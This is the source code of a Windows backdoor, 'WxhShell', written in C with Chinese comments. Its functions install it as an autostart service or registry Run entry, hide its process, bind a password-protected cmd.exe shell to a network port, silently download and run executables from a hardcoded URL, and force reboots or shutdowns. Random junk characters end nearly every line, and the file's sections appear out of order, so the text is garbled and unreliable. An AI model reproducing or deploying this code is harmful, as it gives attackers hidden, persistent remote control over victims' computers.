    if(Boot(SHUTDOWN)) !h&g7do]Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1exl0]-  
    else { P#v*TD'  
    closesocket(wsh); SPj><5Ro  
    ExitThread(0); {;2i.m1  
    } $- +/$!  
    break; ~-a'v!  
    } MH| ] \  
  // 获取shell #6Xs.*b5C  
  case 's': { P7B:%HiAx  
    CmdShell(wsh); >-E<n8  
    closesocket(wsh); ,_!6U  
    ExitThread(0); ~.PP30 '  
    break; GFSt<k)  
  } [NnauItI  
  // 退出 i` A  
  case 'x': { M(|   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S{',QO*D6  
    CloseIt(wsh); BiE08,nj  
    break; AvR2_  
    } '2hbJk  
  // 离开 >Ps7I  
  case 'q': { t+CWeCp,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NGYyn`Lx  
    closesocket(wsh); h5 Vv:C  
    WSACleanup(); +b;hBb]R  
    exit(1); F2(q>#<_  
    break; [fu!AIQs  
        } T~sTBGcv  
  } ]j>i.5  
  } OEdJc\n_R  
ujW1+Oj=~  
  // 提示信息 "S~_[/q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (_* wt]"'  
} A`O<6   
  } +.[\g|G  
_9:@Vl]Q@  
  return; Vbh6HqAHxJ  
} `,wu}F85  
PXP`ZLF  
// shell模块句柄 ')+0nPV  
int CmdShell(SOCKET sock) h%d^Gq~  
{  &O[s:  
STARTUPINFO si; 7#;vG>]  
ZeroMemory(&si,sizeof(si)); _RMQy~&b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~ aZedQc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {TXOQ>gY  
PROCESS_INFORMATION ProcessInfo; QzGV.Mt2  
char cmdline[]="cmd"; JM0I(%Z%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v}Wmd4Y'  
  return 0; Bz8 &R|~>"  
} eX&Gw{U-f  
^[TV;9I*  
// 自身启动模式 !- C' }  
int StartFromService(void) b hjZ7=  
{ 8YY|;\F)J~  
typedef struct  \d.F82  
{ Al)$An-  
  DWORD ExitStatus; TOl}U  
  DWORD PebBaseAddress; 0Flu\w/+P  
  DWORD AffinityMask; x )5V.q  
  DWORD BasePriority; j{#Wn !,  
  ULONG UniqueProcessId; 'p)Q68;&  
  ULONG InheritedFromUniqueProcessId; =4C}{IL  
}   PROCESS_BASIC_INFORMATION; "YFls#4H-  
h?@G$%2  
PROCNTQSIP NtQueryInformationProcess; )tZ`K |  
&!7+Yb(1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <*'cf2Q$Av  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @%tXFizh  
q5 &Ci`  
  HANDLE             hProcess; OKuD"   
  PROCESS_BASIC_INFORMATION pbi; HgJb4Fi  
~pP0|B*%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w=r&?{  
  if(NULL == hInst ) return 0; 2x$x; \*j  
L3y5a?G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^<V9'Ut   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _|c&@M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #S QXTR  
<FFJzNc+  
  if (!NtQueryInformationProcess) return 0; cErI%v}v0  
bk#xiuwT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5$l9@0D.\  
  if(!hProcess) return 0; mAqD jRV1  
sB}]yw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H;_yRUY9  
-@%%*YI>  
  CloseHandle(hProcess); @ "d2.h  
2V#6q,2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f~& a-  
if(hProcess==NULL) return 0; u'9gVU B  
dK?); *w]  
HMODULE hMod; &TN2 HZ-bJ  
char procName[255]; B5=3r1Ly  
unsigned long cbNeeded; ryD%i"g<  
0TE@xqW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "|LQK0q3  
Q49BU@xX  
  CloseHandle(hProcess); }*;EFR6'  
(*^DN{5  
if(strstr(procName,"services")) return 1; // 以服务启动 +!>LY  
u?Hb(xZtg=  
  return 0; // 注册表启动 nW;kcS*A  
} 3_ 2hC!u!K  
VAj<E0>  
// 主模块 &/F_*=VE  
int StartWxhshell(LPSTR lpCmdLine) P@ypk^v  
{ tbj=~xYf  
  SOCKET wsl; Z}Cqd?_')  
BOOL val=TRUE; TnxKR$Hoh  
  int port=0; 5rN _jC*U  
  struct sockaddr_in door; 2RNrIU I2  
k'13f,o}  
  if(wscfg.ws_autoins) Install(); _'iDF  
@6.]!U4w  
port=atoi(lpCmdLine); R8sck)k'}  
`q?RF+  
if(port<=0) port=wscfg.ws_port; *re 44  
7c1+t_Ew  
  WSADATA data; 8GB]95JWwp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;<6"JP>0  
rZC3\,W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;w6s<a@Zh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d.}}s$Q  
  door.sin_family = AF_INET; jn=ug42d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lt<oi8'N  
  door.sin_port = htons(port); -{x(`9H;  
|'w^n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7>je6*(K  
closesocket(wsl); G.jQX'%4QG  
return 1; t[O+B 6  
} rc~Y=m   
Cg6;I.K   
  if(listen(wsl,2) == INVALID_SOCKET) { E`E'<"{Yd  
closesocket(wsl); : ^(nj7D  
return 1; *FPg#a+  
} I)[B9rbe  
  Wxhshell(wsl); !A-;NGxE  
  WSACleanup(); |HgfV@Han  
oS!/|#m n  
return 0; S:97B\ u`  
]Y5dl;xrM)  
} ;/A}}B]y  
u8uW9 <  
// 以NT服务方式启动 Q;gQfr"c7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5ZsDgOeY  
{ Sr7@buF  
DWORD   status = 0; m!!;/e?yx  
  DWORD   specificError = 0xfffffff; gE=Wcb!  
&t[|%c*D&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gH H&IzHF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TNsg pJ?\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b+$o4 l/x  
  serviceStatus.dwWin32ExitCode     = 0;  Ec.)!Hu  
  serviceStatus.dwServiceSpecificExitCode = 0; (4ZLpsbJ  
  serviceStatus.dwCheckPoint       = 0; aJQXJ,>Lv  
  serviceStatus.dwWaitHint       = 0; # ITLz!g E  
s>J3\PC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RK3.-  
  if (hServiceStatusHandle==0) return; fk\5D[j^  
6aSM*S)  
status = GetLastError(); _h~p:=  
  if (status!=NO_ERROR) Q!) z)-hI  
{ bw;iz ,Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1}DerX6  
    serviceStatus.dwCheckPoint       = 0; A:xb!= 2  
    serviceStatus.dwWaitHint       = 0; c,AZ/t  
    serviceStatus.dwWin32ExitCode     = status; /'`6 ; uRN  
    serviceStatus.dwServiceSpecificExitCode = specificError; PdjCv+R6?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [;F{mN  
    return; VD4S_qx  
  } yA0Y 14\*  
E 8^sy*f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G;9|%yvd8  
  serviceStatus.dwCheckPoint       = 0; {.#j1r4J`  
  serviceStatus.dwWaitHint       = 0; !G>(j   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C zpsqTQ  
} 5:_~mlfi  
bXm :]?  
// 处理NT服务事件,比如:启动、停止 g`{Dxb,t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #mTMt;x  
{ Ctj8tK$D  
switch(fdwControl) )+k[uokj  
{ 5Q;dnC  
case SERVICE_CONTROL_STOP: [wIKK/O  
  serviceStatus.dwWin32ExitCode = 0; -g$O OJB6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; { "}+V`O{  
  serviceStatus.dwCheckPoint   = 0; 7(5]Ry:  
  serviceStatus.dwWaitHint     = 0; yHtGp%j  
  { 8tC+ lc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wK ][qZ ]  
  } e18T(g_i  
  return; W&LBh%"g  
case SERVICE_CONTROL_PAUSE: gpsrw>nw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B~4mk  
  break; ~q5-9{ma  
case SERVICE_CONTROL_CONTINUE: 2}|vWKej{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ol_/uy1r[  
  break; l]/> `62  
case SERVICE_CONTROL_INTERROGATE: 7j95"mI  
  break; R>` ih&,)  
}; 8|Q4-VK<!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5bF5~D(E  
} TA<hj[-8  
L c{!FG>  
// 标准应用程序主函数 'H FwP\HX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hc"N& %X[  
{ UT % #K%  
I}1fEw>8  
// 获取操作系统版本 ?Ip$;s  
OsIsNt=GetOsVer(); 0rGj|@+;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -^y1iN'D  
pO5v*oONz+  
  // 从命令行安装 vr<)Ay  
  if(strpbrk(lpCmdLine,"iI")) Install(); @ > cdHv  
#<D@3ScC  
  // 下载执行文件 US"2O!u  
if(wscfg.ws_downexe) { rg"TJ"Q-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J~fuW?a]r  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5=Zp%[ #  
} L>i<dD{  
-.^=Z!=M  
if(!OsIsNt) { ho(5r5SNE  
// 如果时win9x,隐藏进程并且设置为注册表启动 % d4+Ctrp-  
HideProc(); $;Q=iv 3  
StartWxhshell(lpCmdLine); b^+Fs  
} 7B VXBw  
else aKa  R  
  if(StartFromService()) 1+VY><=n  
  // 以服务方式启动 B?!9W@  
  StartServiceCtrlDispatcher(DispatchTable); .$n$%|"H-  
else w 5!ndu  
  // 普通方式启动 4|I7:~  
  StartWxhshell(lpCmdLine); |qQ{8T%)  
;,()wH  
return 0; 5XhK#X%:A  
} i#Ne'q;T  
ll 6]W~[ZC  
EaJDz`T}  
~r{\WZ.  
=========================================== J~M H_N  
|;X?">7NW  
N:"M&E UM  
7AS.)Q#=x  
Smi%dp.  
H^]Nmd8Q)  
" ce 7Yr*ZB  
 n.=e)*  
#include <stdio.h> o",f(v&u%  
#include <string.h> N`y}Gs  
#include <windows.h> "u .)X3  
#include <winsock2.h> yBJ/>SAcG  
#include <winsvc.h> +e&m#d  
#include <urlmon.h> ~W]#9&yQ  
~R"]LbeY  
#pragma comment (lib, "Ws2_32.lib") :|*Gnu  
#pragma comment (lib, "urlmon.lib") /8 e2dw: \  
s ZlJ/_g  
#define MAX_USER   100 // 最大客户端连接数 OHx,*}N  
#define BUF_SOCK   200 // sock buffer /&S~+~]n  
#define KEY_BUFF   255 // 输入 buffer a!TBk=P  
8<E!rn-  
#define REBOOT     0   // 重启 4r68`<mn[  
#define SHUTDOWN   1   // 关机 6M O|s1zk  
3ybK6!g`[  
#define DEF_PORT   5000 // 监听端口 @&!=m]D*  
U)O?| VN^o  
#define REG_LEN     16   // 注册表键长度 Gp?ToS2^d  
#define SVC_LEN     80   // NT服务名长度 Z%,\+tRe  
6\NX 5Gh  
// 从dll定义API 9~LpO>-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g&oc=f`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mf Wz@=0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~%cSckE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BXQ\A~P\  
fxLE]VJQ  
// wxhshell配置信息 X|lElN  
struct WSCFG { +0oyt?  
  int ws_port;         // 监听端口 c4!c_a2pS  
  char ws_passstr[REG_LEN]; // 口令 Fi,e}j=2f  
  int ws_autoins;       // 安装标记, 1=yes 0=no XhHel|!g:  
  char ws_regname[REG_LEN]; // 注册表键名 Ba"^K d`  
  char ws_svcname[REG_LEN]; // 服务名 ]%cHm4#m3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zN?$Sxttx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !mpMa]G3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bQ|#_/?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M~d+HE   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a2(D!_dZR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^P3g9'WK  
.(P@Bl]XJ  
}; Fy4<  
[[/ }1%  
// default Wxhshell configuration JxMyeo%gv  
struct WSCFG wscfg={DEF_PORT, uMiD*6,$<  
    "xuhuanlingzhe", $ uz1  
    1, +l[Z2mW  
    "Wxhshell", ShEaL&'J  
    "Wxhshell", _G-b L;  
            "WxhShell Service", kz$6}&uk  
    "Wrsky Windows CmdShell Service", Ti9:'I  
    "Please Input Your Password: ", ZTgAZ5_cz  
  1, ;*<{*6;=?  
  "http://www.wrsky.com/wxhshell.exe", Nf/ hr%jL  
  "Wxhshell.exe" CA~em_dC  
    }; 0x3 h8fs  
l1+w2rd1  
// 消息定义模块 Q%X:5G?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kb>Vw<NtE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :uU]rBMo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [t "_}t=w  
char *msg_ws_ext="\n\rExit."; 6,V.j>z  
char *msg_ws_end="\n\rQuit."; 0,"n-5Im  
char *msg_ws_boot="\n\rReboot..."; u@:=qd=\  
char *msg_ws_poff="\n\rShutdown..."; {LMS~nx  
char *msg_ws_down="\n\rSave to "; gr[ "A  
"FLD%3l  
char *msg_ws_err="\n\rErr!"; $,z[XM&9)  
char *msg_ws_ok="\n\rOK!"; LoV*YSDAY  
 9:K  
char ExeFile[MAX_PATH]; #um1?V  
int nUser = 0; /q*Qx )y+1  
HANDLE handles[MAX_USER]; c*M)DO`y;h  
int OsIsNt; s$DT.cvO  
K 8yyxJ  
SERVICE_STATUS       serviceStatus; + aXk^+~j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l7D4`i<F  
j"D0nG,  
// 函数声明 )"i>R ~*  
int Install(void); "OS]\-  
int Uninstall(void); @y;tk$e  
int DownloadFile(char *sURL, SOCKET wsh); @=MZ6q  
int Boot(int flag); 6>LQGO  
void HideProc(void); Chb 4VoE  
int GetOsVer(void); N#-kk3!Z;  
int Wxhshell(SOCKET wsl); y ? {PoNI  
void TalkWithClient(void *cs); FgHB1x4;  
int CmdShell(SOCKET sock); ZhJ|ZvJ  
int StartFromService(void); a?U%l9F  
int StartWxhshell(LPSTR lpCmdLine); _I -0,  
0%&fUz36E6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [6/%V>EM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T`RQUJO  
"ojDf3@{  
// 数据结构和表定义 x=)30y3*;  
SERVICE_TABLE_ENTRY DispatchTable[] = WW8L~4Zy  
{ ]'  "^M  
{wscfg.ws_svcname, NTServiceMain}, 4?*"7t3  
{NULL, NULL} F|n$0vQ*  
}; ^RF mRn  
v%l|S{>(  
// 自我安装 +hKPOFa'  
int Install(void) O+8ApicjTc  
{ 8^f[-^%  
  char svExeFile[MAX_PATH]; pn_gq~5ng  
  HKEY key; :[X }.]"  
  strcpy(svExeFile,ExeFile); iK6<^,]'  
z }b U\3!  
// 如果是win9x系统,修改注册表设为自启动 -SC2Zgi)A  
if(!OsIsNt) { /O(;~1B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x1hs19s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QF.wtMGF&  
  RegCloseKey(key); CgTQGJ}-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )8N)Z~h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^B"_b?b  
  RegCloseKey(key); tWX+\ |  
  return 0; 2AdHj&XE  
    } )l!&i?h%  
  } IpaJ<~ p  
} !i"9f_  
else { dC;d>j,  
>`,#%MH#  
// 如果是NT以上系统,安装为系统服务 EK-bvZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l`5}i|4KTW  
if (schSCManager!=0) o y%g{,V  
{ \Dsl7 s=  
  SC_HANDLE schService = CreateService as!|8JE`  
  ( I` n1M+=%  
  schSCManager, +IOKE\,Y  
  wscfg.ws_svcname, ywsz"/=@  
  wscfg.ws_svcdisp, BUy}Rn  
  SERVICE_ALL_ACCESS, .*wjkirF#~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jtVPv]  
  SERVICE_AUTO_START, Rp@}9qijb  
  SERVICE_ERROR_NORMAL, k f K"i  
  svExeFile, ZsK'</7  
  NULL, +[l{C+p  
  NULL, I}Gl*@K&O  
  NULL, )*L?PT  
  NULL, cX=b q_  
  NULL Dil4ut- $  
  ); HjF'~n  
  if (schService!=0) NYV0<z@M2M  
  { GL0':LsZ  
  CloseServiceHandle(schService); { G>+.  
  CloseServiceHandle(schSCManager); $, @ rKRY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CPCB!8-5  
  strcat(svExeFile,wscfg.ws_svcname); ^&w'`-ra  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;uo|4?E:\(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $}h_EI6hS  
  RegCloseKey(key); qpEC!~ y  
  return 0; MvjwP?J]  
    } r'JK$9  
  } >,Swk3  
  CloseServiceHandle(schSCManager); T.Y4L  
} TX5/{cHd  
} zm^p7&ak$  
N@`9 ~JS  
return 1; v_ F?x!  
} {~p %\  
ljR?* P  
// 自我卸载 P9HPr2  
int Uninstall(void) * jNu?$  
{ P*^UU\x'4I  
  HKEY key; GMp'KEQQ  
^~k FC/tQ  
if(!OsIsNt) { "@<g'T0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F9G$$%Q-Z  
  RegDeleteValue(key,wscfg.ws_regname); [~r $US  
  RegCloseKey(key); nv|y@! (  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <h>fip3o  
  RegDeleteValue(key,wscfg.ws_regname); "kuBjj2  
  RegCloseKey(key); *q 9$SDm  
  return 0; )d a8 Ru  
  } !m.')\4<  
} 2!& ;ZcT,  
} K0!#l Br  
else { C&K(({5O  
E]Gq!fA&<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;0}"2aGY  
if (schSCManager!=0) Z"8cGN'  
{ 2OOj8JS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y]z#??  
  if (schService!=0) B!C32~[  
  { 3G0\i!*t  
  if(DeleteService(schService)!=0) { M]:B: ;  
  CloseServiceHandle(schService); sy#j+gZ   
  CloseServiceHandle(schSCManager); L1w4WFWO  
  return 0; o\YdL2:X  
  } *} 4;1OVT  
  CloseServiceHandle(schService); 8i 'jkyInT  
  } leqSS}KU+  
  CloseServiceHandle(schSCManager); CMf~Yv  
} "+"dALX{3K  
} H_$f v_  
7.'j~hJL  
return 1; +[nYu)puP  
} CZno2$8@e  
O*"wQ50Ou  
// 从指定url下载文件 %[F;TZt  
int DownloadFile(char *sURL, SOCKET wsh) 6*oTT(0<p  
{ vb2O4%7tw  
  HRESULT hr; |"&4"nwa  
char seps[]= "/"; Olrw>YbW  
char *token; ?fwr:aP~  
char *file; t-{OP?cE1  
char myURL[MAX_PATH]; jS)-COk  
char myFILE[MAX_PATH]; )n61IqrW  
c^UM(bW  
strcpy(myURL,sURL); Tfs9< k>G#  
  token=strtok(myURL,seps); j[ YTg]  
  while(token!=NULL) 9_^V1+   
  { 78A4n C  
    file=token; $w}aX0dK&  
  token=strtok(NULL,seps); % ieAY-<"  
  } q:eAL'OkM  
JugQ +0  
GetCurrentDirectory(MAX_PATH,myFILE); F#9KMu<<cI  
strcat(myFILE, "\\"); iFT3fP'> 5  
strcat(myFILE, file); Eu_0n6J  
  send(wsh,myFILE,strlen(myFILE),0); C/#/F#C  
send(wsh,"...",3,0); 4h@of'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g5]DA.&(  
  if(hr==S_OK) *\5H\s9<  
return 0; blS4AQ?b^  
else A}}t86T  
return 1; O$ oN1  
;L{y3CWT  
} $9b6,Y_-  
Z.19v>-c  
// 系统电源模块 SaScP  
int Boot(int flag) rV{e[fGd  
{ N1+]3kt ~  
  HANDLE hToken; N1t:i? q&  
  TOKEN_PRIVILEGES tkp; je0 ?iovY  
pfIvBU?  
  if(OsIsNt) { KWkT 9[H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~#xRoBy3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RozsRt;i  
    tkp.PrivilegeCount = 1; 2^j9m}`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +w/o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zz ?y&T  
if(flag==REBOOT) { Kn]WXc|("  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hj[g2S%X  
  return 0; }e6:&`a xD  
} 3@A k6Uh  
else { s;)tLJ!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;<Q_4 V  
  return 0; @J)vuGS  
} &0blHDMj{#  
  } (6aZQ`H  
  else { uSbg*OA  
if(flag==REBOOT) { }gt~{9?c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,4UJ| D=J  
  return 0; 3`I_  
} 0<;B2ce  
else {  vpMv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) au v\fR :  
  return 0; an$h~}/6:  
} Mqy`j9FbL  
} Ku# _   
;W"[,#2TM  
return 1; r +fzmb  
} 3s Nq3I  
"*WXr$  
// win9x进程隐藏模块 1Sr}2@>  
void HideProc(void) x F#)T *  
{ `_ L|I s=n  
%dQX d ]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O*7~t17  
  if ( hKernel != NULL ) ;RYKqUE  
  { C$; ~=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x]M1UBnMN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }9dgm[C[b  
    FreeLibrary(hKernel); DKH9 O  
  } w[_Uv4M  
_69\#YvCG  
return; i vk|-C'\  
} M>j)6?n`_  
q fe#kF9  
// 获取操作系统版本 vUA,`  
int GetOsVer(void) }2{#=Elh  
{ +cN2 KP  
  OSVERSIONINFO winfo; |^&e\8>.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bf+2c6_BN0  
  GetVersionEx(&winfo); 2:yv:7t/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P&VI2k  
  return 1; Y]Q*I\X  
  else )c/BD C7g  
  return 0; tIw4V^'|  
} H9?~#GPb  
cR} =3|t  
// 客户端句柄模块 ~+hG}7(:  
int Wxhshell(SOCKET wsl) wz=I+IN:  
{ Gz:a1-x  
  SOCKET wsh; S7*:eo  
  struct sockaddr_in client; 5 Da( DA  
  DWORD myID; [d}1Cq=_  
04TV. /uA  
  while(nUser<MAX_USER) 9|,AhyhO  
{ (@9-"W  
  int nSize=sizeof(client); `x3c},'@k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &~EOM  
  if(wsh==INVALID_SOCKET) return 1; :Vc9||k  
FS0SGBo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V7<} ;Lzm  
if(handles[nUser]==0) 7y&`H  
  closesocket(wsh); K9iR>put  
else e$Ej7_.#;  
  nUser++; 4!wfh)Z  
  } Wj0([n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); inPGWG K]  
v>6r|{  
  return 0; t s&C0  
} Y`v&YcX;  
%!RQ:?=  
// 关闭 socket lDzVc`c  
void CloseIt(SOCKET wsh) d!cx%[  
{ li?Gb1  
closesocket(wsh); W=/B[@3'  
nUser--; tFCeE=4%  
ExitThread(0); MG|NH0k  
} Bb6_['y  
1?;s!6=  
// 客户端请求句柄 IZGty=Q_  
void TalkWithClient(void *cs) @NZ?D0"  
{ U.\kAEJ  
VlH9ap  
  SOCKET wsh=(SOCKET)cs; }j x{Cw  
  char pwd[SVC_LEN]; ESAh(A)8  
  char cmd[KEY_BUFF]; y!j1xnzki  
char chr[1]; C|+5F,D  
int i,j; 4I$#R  
_#I0m(  
  while (nUser < MAX_USER) { 8oK30?  
e5dwq  
if(wscfg.ws_passstr) { w$_ooQ(_;Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BTB,a$P/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JkTL+obu  
  //ZeroMemory(pwd,KEY_BUFF); rz(DZV  
      i=0; d{  Z  
  while(i<SVC_LEN) { 3JwmLGj}  
m T;z `*  
  // 设置超时 :gmVX}  
  fd_set FdRead; |"arVde  
  struct timeval TimeOut; (Xx @_  
  FD_ZERO(&FdRead); NW$Z}?I  
  FD_SET(wsh,&FdRead); &Ef'5  
  TimeOut.tv_sec=8; \|kU{d0  
  TimeOut.tv_usec=0; ry:tL0;;e#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2ma.zI@^u9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /dIiFr"e}G  
"qF8'58  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GCrMrZ6  
  pwd=chr[0]; aDs[\ '  
  if(chr[0]==0xd || chr[0]==0xa) { >PTq5pk  
  pwd=0; C]}0h!_V  
  break; ]0o78(/w2  
  } 2HUoT\M  
  i++; *<KY^;  
    } Li}yK[\]  
nG2RBeJV  
  // 如果是非法用户,关闭 socket *%8dW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FBe 1f1 sm  
} y<Z8+/f`f  
6d,"GT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f?)qZPM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =^6]N~*,D  
-k'=s{iy  
while(1) { 6;ICX2Wq'  
ZC05^  
  ZeroMemory(cmd,KEY_BUFF); o9JJ_-O"  
}a8N!g  
      // 自动支持客户端 telnet标准   27)$;1MT:  
  j=0; l-5-Tf&j  
  while(j<KEY_BUFF) { |(Sqd;#v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^#;2 Pd>  
  cmd[j]=chr[0];  7p{lDQ  
  if(chr[0]==0xa || chr[0]==0xd) { .S[5CO^  
  cmd[j]=0; :iq1-Pw  
  break; a XwFQ,  
  } 4o'0lz]  
  j++; n {M!l\1  
    } dz?:)5>I  
zg]9~i8  
  // 下载文件 'EXp[*  
  if(strstr(cmd,"http://")) { I\":L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \;4RD$J  
  if(DownloadFile(cmd,wsh)) RP6QS)|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q0Fy$e]u  
  else WKP=[o^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %h^; "|Z  
  } /|Zk$q.\  
